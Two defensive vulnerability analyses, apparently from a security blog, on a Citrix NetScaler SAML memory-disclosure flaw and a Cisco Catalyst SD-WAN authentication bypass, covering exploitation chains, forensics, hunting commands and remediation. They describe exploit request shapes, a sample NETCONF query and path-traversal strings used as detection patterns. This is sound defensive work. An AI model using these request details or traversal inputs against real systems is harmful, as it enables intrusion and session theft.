This is a pattern that has now repeated across four distinct vulnerabilities in the same product family. The C codebase that handles authentication request parsing on NetScaler appliances has a systemic problem with memory boundary validation. Each individual fix addresses a specific code path, but the architectural issue, complex string processing in C on a security-critical authentication edge, remains.

watchTowr made this point explicitly in their analysis: during the process of reproducing CVE-2026-3055, they found additional memory overread vulnerabilities with similar prerequisites, which they reported to Citrix’s PSIRT. The implication is clear. More will follow.

Considerations and Limitations

What the Vulnerability Does and Does Not Do

CVE-2026-3055 is an information disclosure vulnerability, not a remote code execution vulnerability. The attacker cannot write to memory, cannot execute arbitrary code, and cannot directly modify the appliance’s configuration through this vulnerability alone. What they can do is read memory that may contain session tokens, authentication material, and other secrets that enable follow-on access.

The practical exploitation chain, as observed in honeypot telemetry from Defused Cyber and watchTowr, follows four stages:

Reconnaissance: Attacker probes /cgi/GetAuthMethods to enumerate authentication flows on the target appliance and confirm SAML IdP configuration is active
Exploit: Attacker sends crafted requests to /saml/login (omitting AssertionConsumerServiceURL) or /wsfed/passive?wctx (valueless parameter)
Memory Leak: Appliance returns process memory base64-encoded in the NSC_TASS cookie, potentially containing session tokens, SAML assertions, LDAP credentials, and internal request metadata
Session Hijack: Attacker extracts a valid session cookie (such as NSC_AAAC or NSC_TMAS) from the leaked memory, replays it, and inherits the victim’s authenticated context
If the hijacked session belongs to an administrator, the attacker now has full administrative access to the appliance
From there: configuration extraction, VPN user creation, firewall rule modification, lateral movement into the internal network

This is the same exploitation chain that played out with CitrixBleed in 2023. The only difference is the entry point.

Configuration Prerequisite

The appliance must be configured as a SAML Identity Provider for CVE-2026-3055 to be exploitable. Citrix’s advisory emphasizes this point, and on the surface it sounds like a meaningful limitation. In practice, SAML IdP configuration is extremely common in enterprise environments using single sign-on. Rapid7 noted that this is “likely a very common configuration for organizations utilizing single sign-on.”

Organizations that skimmed the advisory and concluded “we don’t run an IdP” should double-check. NetScaler appliances accumulate configuration over years of operation, and SAML IdP profiles may have been enabled for specific integrations that current administrators are not aware of.

Forensic Considerations

This is where things get uncomfortable for defenders.

What the attack does NOT leave behind:

The exploitation itself is an HTTP request/response exchange. No files are written to disk. No processes are spawned. No binaries are dropped. The attacker sends a request and receives memory content in a cookie. From a forensic perspective, the attack is indistinguishable from legitimate SAML authentication traffic unless you are specifically looking at request content and response cookies.

If the attacker subsequently uses a stolen session token, that session hijack will look like a legitimate authenticated session. The session was legitimately issued by the appliance; it was just issued to the wrong person. There is no authentication failure, no credential bruteforce, no anomalous login pattern. The attacker walks in the front door with a valid key.

What you might find:

If logging is configured at sufficient verbosity (DEBUG level on the NetScaler), the /saml/login exploitation path generates log entries in /var/log/ns.log that contain anomalous content. watchTowr observed log messages referencing unsupported ProtocolBinding values that did not appear in the actual request, indicating memory content leaking into log fields. These messages would look unusual to an analyst reviewing SAML-related logs, but they require both verbose logging and someone actively looking at the right log files.

The /wsfed/passive?wctx exploitation path may generate entries for unexpected WS-Federation requests on appliances that do not normally process WS-Federation traffic. However, distinguishing exploitation from legitimate scanning or misconfiguration requires context about normal traffic patterns.

What complicates matters:

The memory disclosure is non-deterministic. Each request returns different memory content, and the attacker has no direct control over what memory region they read. This means there is no single, consistent indicator of compromise. One attacker may extract an admin session token on their fifth request. Another may send five hundred requests and get nothing useful. The forensic evidence of exploitation is a volume of requests to specific endpoints, which blends with legitimate traffic and reconnaissance activity.

Session token theft via memory disclosure also creates an attribution problem. If an attacker steals a session token and uses it from a different IP address, the appliance logs will show a legitimate session being accessed from a new source IP. This is detectable, but only if session-to-IP binding is monitored, and only if the attacker does not proxy through infrastructure close to the legitimate user.

The broader pattern:

Citrix has not published a formal list of indicators of compromise (attacker IP addresses, file hashes, or filenames) for CVE-2026-3055. There is nothing to publish. The attack does not leave file-based artifacts. It leaves network traffic that requires content-level inspection to distinguish from normal operations, and session activity that requires behavioral analysis to identify as anomalous.

This is the same forensic challenge that CitrixBleed presented in 2023. Organizations that had comprehensive network traffic logging, session monitoring, and behavioral analytics were able to detect and respond. Organizations that relied on endpoint detection, file-based IOCs, or signature-based network monitoring were flying blind.

Detection and Hunting

Network-Based Detection

WAF Rule Guidance

If a WAF or reverse proxy fronts the NetScaler:

Block or alert on GET requests to /wsfed/passive?wctx where the wctx parameter has no = sign and no value
Block or alert on POST requests to /saml/login where the decoded SAMLRequest XML does not contain an AssertionConsumerServiceURL attribute
Monitor for high-volume requests to either endpoint from single source IPs

If you have response-level inspection capability (reverse proxy, WAF with response inspection, or full packet capture):

Alert on NSC_TASS cookies with unusually large size (the /wsfed/passive variant can produce cookies containing kilobytes of leaked memory)
Alert on NSC_TASS cookies where the base64-decoded content contains HTTP headers (Host:, Cookie:, User-Agent:), binary data, or patterns inconsistent with normal SAML state

Host-Based Detection (NetScaler Logs)

ns.log Review

On the NetScaler appliance itself, review /var/log/ns.log for:

SAML-related log entries referencing ProtocolBinding values that do not correspond to standard SAML bindings
Entries showing AssertionConsumerServiceURL or acs values that contain unexpected content (binary data, HTTP headers, fragments of other requests)
High volumes of SAML login attempts that do not result in successful authentication flows

# Hunt for anomalous SAML processing entries
grep -i "saml\|ProtocolBinding\|ACSURL\|AssertionConsumer" /var/log/ns.log | grep -v "normal_expected_value"

# Hunt for WS-Federation requests
grep -i "wsfed\|wctx" /var/log/ns.log

Session Monitoring

If exploitation has occurred and session tokens were stolen, the next observable indicator is session hijack activity:

Authenticated sessions being accessed from IP addresses that differ from the original authentication source
Administrative sessions appearing from unexpected source networks
Session tokens being reused across multiple concurrent connections
VPN sessions established using credentials that were not manually entered

Organizations with SIEM or UEBA capabilities should correlate NetScaler session events with source IP changes and geographic anomalies.

Remediation and Workarounds

Primary Remediation: Patch

Upgrade to a fixed version immediately:

14.1 branch (66.x train): Upgrade to 14.1-66.59 or later
14.1 branch (60.x train): Upgrade to 14.1-60.58 or later
13.1 branch: Upgrade to 13.1-62.23 or later
13.1-FIPS / 13.1-NDcPP: Upgrade to 13.1-37.262 or later
13.0 branch: End-of-life. No patch. Migrate to a supported version.

Post-Patch Actions

Patching alone is insufficient. If the appliance was exposed and running a vulnerable version, assume that session tokens may have been stolen prior to patching.

Terminate all active sessions immediately after patching. This invalidates any session tokens that may have been extracted via memory disclosure. Specifically, all NSC_AAAC, NSC_TMAS, and NSC_TASS cookies must be invalidated. Force re-authentication for all users. Until sessions are terminated, stolen tokens remain valid regardless of patch status.
Rotate SAML signing certificates. If SAML assertion signing keys were present in process memory (and they may have been), a leaked signing key allows an attacker to forge SAML assertions indefinitely, even after patching.
Rotate any credentials processed through the SAML IdP. This includes LDAP bind credentials, service account passwords, and any other authentication material the IdP uses to validate users.
Review administrative access. Audit all admin accounts, SSH keys, and access configurations on the NetScaler. If an attacker obtained an admin session, they may have created persistence mechanisms.
Review VPN user accounts. Check for unauthorized local users or unexpected group memberships, particularly in SSL VPN groups.

Temporary Mitigations (If Patching Is Not Immediately Possible)

There are no workarounds that fully remediate CVE-2026-3055. However, the following network-level controls can reduce exposure:

Restrict access to /saml/login and /wsfed/passive endpoints to known, trusted service provider IP addresses using ACLs or WAF rules
If WS-Federation is not actively used, block access to the /wsfed/passive endpoint entirely
Implement WAF rules to drop GET requests to /wsfed/passive?wctx that lack a = sign in the query parameter
Implement WAF rules to inspect and reject POST requests to /saml/login where the decoded SAMLRequest XML is missing expected fields
Monitor NSC_TASS cookie sizes in responses; abnormally large cookies indicate potential memory disclosure

Closing Assessment

CVE-2026-3055 is the third critical memory disclosure vulnerability in Citrix NetScaler’s authentication path in thirty months. The first led to LockBit affiliates breaching major enterprises. The second saw sustained targeting throughout 2025. This third iteration follows the same pattern: memory overread on an internet-facing authentication edge, leaking session tokens in a response cookie, enabling unauthenticated session hijack.

The vulnerability class has not changed. The product has not changed. The exploitation chain has not changed. Only the specific code path is different.

What makes CVE-2026-3055 worth particular attention is the disclosure that a single CVE ID was assigned to at least two distinct memory overread primitives, and that watchTowr found additional memory overread vulnerabilities during their analysis that they reported separately. The implication is that the C codebase handling authentication request parsing on NetScaler appliances has a systemic problem with memory boundary validation. Individual patches address individual code paths, but the underlying architectural risk, complex authentication protocol parsing in C on a security-critical appliance, persists.

Organizations running NetScaler as a SAML IdP need to patch immediately, terminate all active sessions, rotate credentials, and hunt for indicators of session hijack. Organizations that have patched but did not terminate sessions and rotate credentials are still at risk from tokens that may have been stolen before the patch was applied.

For organizations making longer-term architectural decisions, CVE-2026-3055 should prompt a serious conversation about whether a network appliance vendor is the appropriate home for identity federation duties. Four critical memory disclosure vulnerabilities in the same authentication path, in the same product family, in thirty months, is not a trend line that inspires confidence. At some point, the question stops being “when will the next one drop” and starts being “why are we still here.”

We will update this post if additional exploitation details, IOCs, or vendor guidance emerge.

References

CVE-2026-20127: Cisco Catalyst SD-WAN Authentication Bypass

Wed, 25 Feb 2026 00:00:00 +0000

The Vulnerability

CVE-2026-20127 is a CVSS 10.0 authentication bypass vulnerability in the peering authentication mechanism of Cisco Catalyst SD-WAN Controller (formerly vSmart) and Cisco Catalyst SD-WAN Manager (formerly vManage). The flaw is classified under CWE-287 (Improper Authentication) and allows an unauthenticated, remote attacker to bypass the peering authentication process entirely and obtain administrative privileges on an affected system.

A perfect ten. No credentials needed. No user interaction required. Attack complexity: low. And critically, the scope is marked as “Changed,” meaning a successful exploit doesn’t just compromise the controller itself, it gives an attacker leverage over the entire SD-WAN fabric those controllers manage.

To understand why this is so bad, you have to understand what a Catalyst SD-WAN Controller actually does. The Controller is the brain of the SD-WAN overlay. It uses the Overlay Management Protocol (OMP) to distribute routing intelligence, push security policy, manage WAN path selection, and distribute encryption keys to every edge device in the fabric. When you own the Controller, you own the network map. You control what talks to what, how traffic is routed, and what policies are enforced.

The bug sits in how the SD-WAN control components validate inbound peering connections. When a new peer attempts to establish a control connection, there is an authentication handshake that is supposed to occur. In vulnerable versions, that handshake is broken. A crafted request bypasses the expected validation and results in the attacker being logged in as a high-privileged internal user account (non-root, but we will get to the root escalation in a moment). From there, the attacker lands directly on NETCONF, the protocol used to push configuration changes across the fabric.

NETCONF access on a Catalyst SD-WAN Controller is the skeleton key. Every edge device in the deployment trusts the controller. With that trust relationship in hand, an attacker can manipulate routing tables, modify policies, redirect traffic, and establish persistence across the entire WAN.

Timeline and Active Exploitation

Here is where this gets uncomfortable for everyone who thought their SD-WAN was quietly doing its job.

Cisco published the advisory on February 25, 2026, in coordination with the Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC), who was credited with reporting the vulnerability. The same day, Cisco Talos published a blog attributing active exploitation to a cluster they track as UAT-8616, assessed with high confidence as a highly sophisticated threat actor.

The part that should make you pause: Talos telemetry shows exploitation activity going back at least three years, to 2023. This was not a vulnerability discovered and immediately weaponized. This was a vulnerability that was apparently discovered, weaponized, and kept quiet for years while the actor worked through targets at their leisure. When exploitation dates back to 2023 and public discovery happens in late 2025, that multi-year gap describes controlled, deliberate operations, not opportunistic scanning.

Key dates in the disclosure chain:

2023 (estimated): Earliest known exploitation activity per Talos telemetry
Late 2025: Exploitation discovered by intelligence partners, incident response begins
February 25, 2026: Coordinated disclosure from Cisco, ACSC, NCSC, CISA, Cyber Centre (Canada), NSA, and NCSC-NZ
February 25, 2026: CISA issues Emergency Directive 26-03, requiring Federal Civilian Executive Branch agencies to patch by February 27, 2026
February 25, 2026: Talos publishes UAT-8616 threat cluster attribution
February 27, 2026 (estimated): Release 20.9.8.2, the last outstanding fixed release

The coordinated multi-agency disclosure, the Emergency Directive, the Five Eyes involvement, and the CISA characterization of this as posing “imminent risk to federal networks” tells you everything about how this was assessed behind closed doors.

No public proof-of-concept existed as of initial disclosure. That buys defenders a window, but it is a shrinking one.

Affected Versions and Patch Status

The vulnerability affects Cisco Catalyst SD-WAN Controller and Cisco Catalyst SD-WAN Manager across all deployment types: on-premises, Cisco Hosted SD-WAN Cloud, Cisco Hosted SD-WAN Cloud - Cisco Managed, and the FedRAMP environment. It is not configuration-dependent. If you are running a vulnerable version, you are vulnerable.

Cisco Catalyst SD-WAN Release	Fixed Version
Earlier than 20.9	Migrate to a supported release
20.9	20.9.8.2 (estimated February 27, 2026)
20.11 (EoSM)	20.12.6.1
20.12.5	20.12.5.3
20.12.6	20.12.6.1
20.13 (EoSM)	20.15.4.2
20.14 (EoSM)	20.15.4.2
20.15	20.15.4.2
20.16 (EoSM)	20.18.2.1
20.18	20.18.2.1

Releases marked EoSM (End of Software Maintenance) have fixed versions available but Cisco strongly encourages migration to a currently supported release. Releases earlier than 20.9 require migration entirely. There is no patch for end-of-life versions, and the advisory is explicit: there are no workarounds that fully address the vulnerability.

One thing worth calling out: the Cisco Hosted SD-WAN Cloud and FedRAMP-managed deployments listed as “guardrails are in place” in the advisory’s mitigation table. That is good for managed customers, but on-premises deployments and self-managed cloud deployments are entirely on the customer to address.

Proof of Concept Details

As of initial disclosure on February 25, 2026, no public proof-of-concept had been published. Cisco’s Snort rules 65938 and 65958 were released alongside the advisory, providing detection coverage for known exploitation patterns. Tenable noted at time of writing that if a PoC drops, expect a rapid shift from targeted exploitation by sophisticated actors to mass scanning and spray-and-pray exploitation.

That is the arc every publicly disclosed auth bypass follows. Right now the exploitation is deliberate and targeted. When a PoC lands, the noise floor rises significantly and defenders lose the relative luxury of distinguishing targeted compromise from opportunistic scanning.

The conceptual exploitation flow looks like this:

# Simplified representation of the vulnerability
def sdwan_peering_handshake(peer_connection):
    # Intended flow: validate peer identity before granting access
    peer_identity = extract_peer_identity(peer_connection)
    
    # Bug: validation mechanism is not functioning correctly
    # Crafted requests can bypass this check
    if validate_peer_auth(peer_identity):  # <- broken, can be bypassed
        grant_access(peer_connection, privilege_level="high")
        return open_netconf_session(peer_connection)
    else:
        reject_connection(peer_connection)

The attacker’s goal at this stage is simple: land as the internal high-privileged user and get a NETCONF session open. Everything else follows from that.

Technical Exploitation Analysis

To understand the vulnerability, you need to understand how Cisco Catalyst SD-WAN establishes and maintains its control plane.

The SD-WAN Control Plane Architecture

The Catalyst SD-WAN fabric relies on several components working together:

SD-WAN Controller (vSmart): Manages OMP routing sessions, distributes policies and encryption keys to edge devices (vEdge/cEdge), and acts as the centralized routing intelligence
SD-WAN Manager (vManage): Provides the management plane, configuration orchestration, and the web UI. Also hosts NETCONF
SD-WAN Validator (vBond): Facilitates initial orchestration and authentication for new devices joining the fabric
Edge Devices (vEdge/cEdge): The WAN routers that implement policy delivered by the controller

Controllers and Managers form peer relationships with each other and with edge devices. These peering relationships are how the control plane stays synchronized. The OMP runs over DTLS or TLS tunnels established after a successful peer authentication handshake.

The Peering Authentication Mechanism

When a new peer connection is initiated, the connecting component is expected to prove its identity before being allowed to establish an OMP or NETCONF session. This normally involves certificate-based mutual authentication. The vulnerability is that this validation mechanism is not functioning correctly on affected versions.

The precise technical root cause has not been publicly detailed by Cisco beyond “the peering authentication mechanism in an affected system is not working properly.” What Talos and government partners have confirmed through incident response is the observable outcome: crafted requests bypassing the handshake and resulting in authenticated access as the internal vmanage-admin equivalent user.

Once that bypass lands, the attacker is in as a high-privileged non-root account. The immediate value here is NETCONF access.

NETCONF as the Exploitation Target

NETCONF (Network Configuration Protocol) over SSH is the primary programmatic interface for pushing configuration to Catalyst SD-WAN devices. It runs on port 830. With an authenticated NETCONF session on the Manager or Controller, an attacker can:

Query the full fabric topology and device inventory
Push configuration changes to edge devices across the entire SD-WAN deployment
Modify routing policy, traffic steering rules, and zone-based firewall policies
Add or modify VPN configurations
Create user accounts and SSH authorized keys for persistence
Manipulate data plane behavior across all connected edge devices

A quick illustration of what NETCONF interaction looks like from an attacker’s perspective once access is obtained:

<!-- Example NETCONF RPC to query running configuration -->
<rpc message-id="101" xmlns="urn:ietf:params:xml:ns:netconf:base:1.0">
  <get-config>
    <source>
      <running/>
    </source>
  </get-config>
</rpc>

<!-- Response includes full fabric configuration, device inventory,
     routing policies, credentials, and topology data -->

That is the entire network’s configuration delivered in response to a single authenticated request. From a post-exploitation standpoint, this is extraordinary reach.

UAT-8616’s Observed Exploitation Chain

Talos and intelligence partners documented the actual exploitation chain as observed in the wild. This is more interesting than just the auth bypass itself.

Stage 1: Initial Access via CVE-2026-20127

The actor sends crafted requests to an internet-exposed SD-WAN Controller or Manager, bypasses the peering authentication, and obtains the high-privileged non-root account session. The first observable artifact here is an unauthorized control connection peering event in the VDAEMON logs, appearing as a new vmanage peer type coming from an unexpected IP:

Feb 20 22:03:33 vSmart-01 VDAEMON_0[2571]: %Viptela-vSmart-VDAEMON_0-5-NTCE-1000001:
control-connection-state-change new-state:up peer-type:vmanage
peer-system-ip:1.1.1.10 public-ip:192.168.3.20 public-port:12345
domain-id:1 site-id:1005

Stage 2: Rogue Peer Addition

With administrative access, the actor adds a malicious rogue peer to the SD-WAN fabric configuration. This establishes a persistent, attacker-controlled node within the control plane. The rogue peer looks like a legitimate part of the network to the Controller’s perspective.

Stage 3: Root Escalation via Software Version Downgrade

This is the clever part, and it is worth dwelling on because it shows how well UAT-8616 understood this platform.

The non-root high-privileged account obtained through CVE-2026-20127 is powerful but not root. To get there, the actor reaches back to a pair of older Cisco SD-WAN vulnerabilities that were patched years ago but remain exploitable on older software versions: CVE-2022-20775 and CVE-2022-20776.

CVE-2022-20775 is a path traversal vulnerability in the web-based management interface of Cisco SD-WAN. An authenticated attacker can read arbitrary files on the underlying operating system by sending crafted HTTP requests, with path traversal strings embedded in the username field or request parameters. CVE-2022-20776 is a companion privilege escalation vulnerability in the same interface that allows an authenticated attacker to escalate to root by sending specially crafted HTTP requests. Both were patched in 2022 but fixed releases are irrelevant to an attacker who can choose which version is running.

The technique works like this: using the administrative access obtained through CVE-2026-20127, the actor downgrades the SD-WAN software to a version where CVE-2022-20775 and CVE-2022-20776 are still present and exploitable. The actor then uses those vulnerabilities to escalate to root. Once root is achieved, the actor upgrades the device back to the original software version, erasing the version that made the escalation possible.

The device ends up back on the version it started on. From a version check perspective, nothing looks wrong.

Talos’ language on this technique is worth quoting accurately: Talos and intelligence partners assessed that the actor “likely” escalated to root via the version downgrade path, based on intelligence partner findings rather than direct Talos forensic reconstruction. That qualifier matters for formal incident assessments. The technique is consistent with all observed artifacts and is the most operationally coherent explanation, but organizations should note that it is an intelligence-derived assessment rather than a confirmed forensic chain.

On February 25, 2026, CISA added both CVE-2022-20775 and CVE-2022-20776 to the Known Exploited Vulnerabilities catalog alongside CVE-2026-20127. The simultaneous KEV addition of both older vulnerabilities is a strong signal that active exploitation of the chained technique was confirmed across multiple victim investigations, not just theorized.

The version downgrade and subsequent revert is detectable if you know what to look for. The logs will show an unexpected version transition with associated reboot:

Waiting for upgrade confirmation from user. Device will revert to
previous software version <version> in '100' seconds unless confirmed.
Software upgrade not confirmed. Reverting to previous software version

An unexpected version downgrade/upgrade sequence accompanied by a system reboot, with no corresponding change management ticket, is a significant indicator of compromise. The critical forensic detail here is timing: the window between the downgrade and the reupgrade may be short. If log forwarding to an external SIEM was not capturing that window, the only remaining evidence is the transition events themselves, not the exploitation activity that occurred between them.

Stage 4: Persistence

With root access, the actor establishes long-term persistence. Observed mechanisms include unauthorized SSH keys added to the vmanage-admin or root accounts, unauthorized user account creation (with subsequent deletion to reduce artifacts), and sshd configuration changes enabling PermitRootLogin.

The delete-after-create pattern for user accounts is worth calling out specifically because it is a noise reduction technique. The account gets created to do work, then deleted to reduce the forensic footprint. The creation event may exist in logs. The deletion event may exist in logs. What the account actually did between creation and deletion may not.

Stage 5: Long-Term Fabric Access

With persistent root-level access to the Controller and rogue peer relationships established, the actor maintains ongoing visibility into and control over the SD-WAN fabric. Routing manipulation, traffic inspection, lateral movement into connected network segments, and reconnaissance of connected infrastructure all become possible from this position.

Talos assessed UAT-8616 with high confidence as targeting critical infrastructure sectors specifically. The patient, multi-year operational timeline is consistent with a nation-state backed actor conducting long-term strategic access operations rather than financially motivated intrusion.

Considerations and Limitations: Forensics in Practice

This is the section where we talk about what actually helps you and what sounds good on a slide but falls apart in a real investigation.

What the Attacker Does NOT Leave Behind

The exploitation itself, the peering authentication bypass, generates a control connection event in the VDAEMON logs. It does NOT generate a traditional failed authentication event because the attacker is not failing, they are succeeding through a broken validation path. There is no “authentication failure” log to alert on. There is just a new peer connection from an unexpected IP address, which looks structurally similar to a legitimate peer event.

The version downgrade technique used for root escalation is particularly forensically hostile. The actor downgrades, exploits CVE-2022-20775 to get root, then upgrades back. If log retention is short, the window of the downgrade may not be captured. If SIEM forwarding is not configured, those logs may only exist locally and are vulnerable to manipulation by an attacker who now has root access.

SSH authorized_keys modification at the root level is a favorite persistence mechanism precisely because it is often not monitored. An extra public key in /root/.ssh/authorized_keys or /home/vmanage-admin/.ssh/authorized_keys gives indefinite access with no further vulnerability required. It looks like nothing in passive monitoring.

What We Have Seen in the Wild

Per Talos and the government advisories, the following artifacts have been observed in compromised environments:

Unauthorized or unaccounted SSH keys for the vmanage-admin account
Abnormally small log files, or logs that are 0, 1, or 2 bytes in size (consistent with truncation after root access)
Evidence of log and history clearing, including the presence of a cli-history file for a user without a corresponding bash history
Unexpected peer additions and drops in the fabric
Unexpected version downgrades and upgrades with associated reboots
Path traversal strings in usernames consistent with CVE-2022-20775 exploitation, such as /../../ or /\n&../\n&../
PermitRootLogin enabled in the SSH daemon configuration when it was not previously set

The log truncation is the one that really stings. If an attacker has achieved root and has cleared or truncated logs locally, and you do not have logs forwarded to an external SIEM, your forensic investigation starts at a significant disadvantage. You may be able to detect the act of truncation (size 0 or near-zero log files that should be populated), but reconstructing what happened before the truncation requires external log sources.

The Three-Year Problem

Talos telemetry shows exploitation going back to 2023. For organizations that may have been compromised during that window, the forensic situation is stark. Most organizations retain logs for 30-90 days, sometimes less. If compromise occurred in 2023 or 2024, those log entries are gone. You can confirm current indicators of compromise but you cannot reconstruct the historical access timeline.

This means that for organizations with internet-exposed Catalyst SD-WAN infrastructure, the correct assumption is: if you were running vulnerable versions over the last three years, treat the investigation as a potential long-term compromise case, not just a vulnerability remediation exercise.

Scope Assessment is Hard

NETCONF access to the Controller means the attacker had the ability to manipulate the entire fabric. Determining what they actually did with that access requires detailed NETCONF session logs, which many deployments do not maintain at the required verbosity. Without those logs, you can establish that access occurred but you cannot enumerate all configuration changes, all topology queries, or all traffic that may have been redirected or inspected.

Detection and Hunting

The primary detection surface is the Catalyst SD-WAN control plane logs. Here is what to look for.

Core Hunting Focus: Peering Events

Every control connection peering event needs to be validated. The key log source is the VDAEMON log on SD-WAN Controllers and Managers. Look for control-connection-state-change events with new-state:up and validate:

The peer-system-ip matches a known, documented device in your SD-WAN topology
The public-ip is an expected source (your infrastructure, your data centers, your cloud ranges)
The peer-type aligns with what is expected from that IP (if you have no vManage components at a particular IP, a peer-type:vmanage from that IP is a red flag)
The timestamp aligns with known maintenance windows, configuration changes, or device onboarding events

# Example suspicious peering event - validate all fields
Jul 26 22:03:33 vSmart-01 VDAEMON_0[2571]:
%Viptela-vSmart-VDAEMON_0-5-NTCE-1000001:
control-connection-state-change new-state:up
peer-type:vmanage
peer-system-ip:1.1.1.10          # <- Is this in your asset inventory?
public-ip:192.168.3.20           # <- Is this a known controller IP?
public-port:12345
domain-id:1
site-id:1005

SSH Authentication Log Review

Audit /var/log/auth.log for Accepted publickey for vmanage-admin entries. Cross-reference every source IP against your documented controller inventory. Any IP not in that inventory that successfully authenticated should be treated as a compromise indicator.

# Indicator: Successful pubkey auth from unknown IP
2026-02-10T22:51:36+00:00 vm sshd[804]:
Accepted publickey for vmanage-admin from <UNKNOWN_IP>
port [PORT] ssh2: RSA SHA256:[KEY_FINGERPRINT]

Collect all SSH key fingerprints from these log entries and compare against authorized keys. Any fingerprint not in your authorized inventory is an attacker-controlled key.

SSH authorized_keys Integrity Check

Check these locations manually:

# Check for unauthorized SSH keys
cat /home/vmanage-admin/.ssh/authorized_keys
cat /root/.ssh/authorized_keys

# Check sshd configuration for PermitRootLogin changes
grep PermitRootLogin /etc/ssh/sshd_config

# Check for recently modified authorized_keys files
find /home /root -name "authorized_keys" -newer /etc/passwd -ls

Any key not documented in your organization’s key management process is suspect.

Log Integrity Checks

# Check for truncated or suspiciously small log files
ls -lh /var/log/sdwan/
ls -lh /var/log/

# A size-0 or near-zero log that should have content is a red flag
# Check for cleared bash history alongside present cli-history
ls -la /home/vmanage-admin/.bash_history
ls -la /home/vmanage-admin/.cli-history

# Review for version downgrade/upgrade events
grep -i "upgrade" /var/log/sdwan/*.log | grep -i "revert\|downgrade\|previous"

CVE-2022-20775 and CVE-2022-20776 Path Traversal Indicators

If the actor used the downgrade + path traversal technique, the primary forensic artifact is path traversal strings in the vdebug logs and authentication logs. CISA specifically identified the following log files as the correct hunting targets for CVE-2022-20775 exploitation evidence:

/var/volatile/log/vdebug
/var/log/tmplog/vdebug
/var/volatile/log/sw_script_synccdb.log

# Hunt for path traversal strings across SD-WAN logs and vdebug specifically
grep -r "\.\./\.\." /var/volatile/log/vdebug /var/log/tmplog/vdebug /var/log/sdwan/
grep -r "/\\\n&\.\." /var/volatile/log/vdebug /var/log/tmplog/vdebug /var/log/sdwan/
grep -r "%2e%2e" /var/volatile/log/vdebug /var/log/tmplog/vdebug /var/log/sdwan/

# Also check sw_script_synccdb.log for related artifacts
grep -i "traversal\|\.\./\|%2e%2e" /var/volatile/log/sw_script_synccdb.log

# Look for version downgrade/upgrade events bracketing the exploitation window
grep -i "upgrade\|downgrade\|revert\|previous.*version" /var/log/sdwan/*.log

The path traversal strings showing up in the username field of authentication events or in the vdebug output are a direct artifact of CVE-2022-20775 being executed. If you find those strings, the escalation chain was attempted regardless of whether the subsequent reupgrade erased the vulnerable version from the current running state.

NETCONF Session Auditing

If you have NETCONF session logging configured (verbosity-dependent), review for sessions that were not initiated by known management systems or authorized operators:

# NETCONF runs on port 830
# Check for connections from unexpected sources
grep -i "netconf\|port.*830\|830.*netconf" /var/log/sdwan/*.log

Snort Detection Rules

Cisco released Snort rules SID 65938 and SID 65958 alongside the advisory, covering the initial authentication bypass and post-exploitation NETCONF command execution respectively. Both are available via the Snort subscriber ruleset and should be verified as active in any Snort or Cisco FTD/FMC deployment protecting SD-WAN infrastructure.

Recommended Forensic Evidence Collection Sequence

When you suspect compromise, time is your enemy. Logs rotate, disk state changes, and an attacker with root access may have set up cleanup mechanisms. Collect in this order:

Take a virtual snapshot or disk image of all SD-WAN control components before making any changes
Collect all available VDAEMON logs, auth logs, and system logs from the device and from any external SIEM or syslog server
Collect the current authorized_keys for all relevant accounts
Collect the current sshd configuration
Collect any available NETCONF session logs
Run request admin-tech on each control component and provide the resulting file to Cisco TAC for review

If you are opening a Cisco TAC case, which Cisco explicitly recommends for suspected compromise, the admin-tech output is the first thing they will ask for.

Remediation and Mitigations

Patch First

There are no workarounds that fully remediate CVE-2026-20127. The only complete fix is upgrading to a fixed release. Refer to the table in the Affected Versions section above.

For the 20.9 release, the fixed version (20.9.8.2) was estimated for release on February 27, 2026. Monitor Cisco’s advisory for confirmation.

For organizations on End-of-Software-Maintenance releases (20.11, 20.13, 20.14, 20.16), fixed versions exist but migration to a currently supported release is strongly recommended.

Temporary Network Mitigations (On-Prem Deployments)

While preparing for patching, the most impactful mitigation is access control. Ports 22 (SSH) and 830 (NETCONF) on SD-WAN Controllers and Managers should be restricted by ACL, security group rule, or firewall rule to permit only known, documented controller IPs and authorized management infrastructure. If you cannot explain why a given IP should be able to reach port 830 on your Controller, it should not be allowed to.

# Conceptual ACL approach for on-prem deployments
# Restrict ports 22 and 830 to known controller system IPs and
# authorized management network ranges ONLY

permit tcp <controller_ip_1/32> any eq 22
permit tcp <controller_ip_2/32> any eq 22
permit tcp <mgmt_network/cidr> any eq 22
permit tcp <controller_ip_1/32> any eq 830
permit tcp <controller_ip_2/32> any eq 830
deny tcp any any eq 22
deny tcp any any eq 830

SD-WAN Hardening Guidance

Beyond the immediate patch, Cisco’s SD-WAN Hardening Guide outlines the configuration baseline that should have been in place before this. Key areas:

Management interface isolation: VPN 512 (the management VPN) should be isolated and never reachable from untrusted networks. If your Controllers are internet-accessible without a jump host or VPN, that is a foundational exposure independent of this specific CVE
Pairwise keying: Enable pairwise keying for control plane security to limit the blast radius if any single control component is compromised
Certificate management: Replace self-signed certificates on the Manager web UI with CA-issued certificates
Session timeouts: Configure to the shortest operationally acceptable period
Logging: Ensure logs are forwarded to an external syslog server. Local-only logs are too easy to tamper with or lose when a device is compromised or reimaged

Credential Rotation

If compromise cannot be ruled out, rotate all relevant credentials:

SD-WAN Manager admin credentials
All operator and user account credentials on SD-WAN components
SSH keys for all accounts on SD-WAN control components
API tokens or certificates used by orchestration tooling that communicates with the Manager

Closing Assessment

CVE-2026-20127 is a textbook critical network infrastructure vulnerability: zero credentials required, remote exploitation, immediate access to a privileged interface with fabric-wide reach, and evidence of exploitation by a patient, sophisticated actor who sat on it for years before anyone noticed.

The three-year exploitation window is what defines the actual organizational risk here. Patching addresses future exposure. It does not address the question of whether your Controllers were quietly owned since 2023 and whether a rogue peer is still sitting in your fabric waiting to be re-activated.

For defenders, a few realities to sit with.

First, if your SD-WAN management interfaces were reachable from the internet, and you were running vulnerable versions, the forensic question is not “were we targeted” but “what was done with that access.” Those are different investigations with different scopes.

Second, log forwarding to an external SIEM is not optional for infrastructure at this risk tier. The fact that an attacker with root access can truncate local logs means that local logs cannot be your only forensic source. If you are only logging locally on SD-WAN control components, your post-incident investigation capability is severely limited.

Third, the combination of CVE-2026-20127 and CVE-2022-20775 as a chained privilege escalation path tells you something about how thoroughly this actor understood the target platform. The downgrade-exploit-reupgrade technique is operational tradecraft developed through experimentation and refinement, not something you produce on day one. Multi-year timelines produce refined attack chains.

Patch the CVE. Validate your peering events. Audit your authorized_keys. Forward your logs. And if you are running a critical SD-WAN deployment with internet-exposed control components, assume the worst and investigate accordingly.

References

